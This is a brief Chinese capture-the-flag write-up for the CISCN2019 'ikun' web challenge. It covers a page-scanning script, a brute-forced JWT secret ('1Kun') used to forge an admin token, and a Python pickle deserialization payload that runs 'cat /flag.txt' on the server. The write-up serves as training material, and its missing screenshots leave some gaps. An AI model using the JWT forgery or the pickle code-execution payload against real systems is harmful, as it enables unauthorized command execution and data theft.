[CISCN2019 华北赛区 Day1 Web2]ikun
首先在页面得到信息:
一定要买到lv6
通过python脚本找到lv6
import requests
for i in range(1,201):
url='http://3c139326-f475-48d3-baec-f030d2fa8c9f.node4.buuoj.cn:81/shop?page='+str(i)
result=requests.get(url).content.decode('utf-8')
if 'lv6.png' in result:
print(url)
break
找到lv6在181的页面
提示有flag
注册账号后购买,发现钱不够可以修改打折优惠购买:
但只能admin访问:
利用burpsuite抓包得到:
发现有JWT:
利用工具爆破JWT的密钥:
爆破出来为: 1Kun
进行签名:
利用burpsuite修改发送:
得到:
查看源码发现网站源代码:
下载发现是Pickle反序列化
代码审计:
发现源码会尝试执行POST一个become的值,做为Pickle反序列化的字符
并将反序列化后的结果给res然后传给form.html页面回显:
我们可以利用Pickle反序列化构造命令执行
payload:
import pickle
import urllib
import commands
class payload(object):
def __reduce__(self):
return (commands.getoutput,('cat /flag.txt',))
a = payload()
print(urllib.quote(pickle.dumps(a)))
运行得到:
获取flag
参考博客: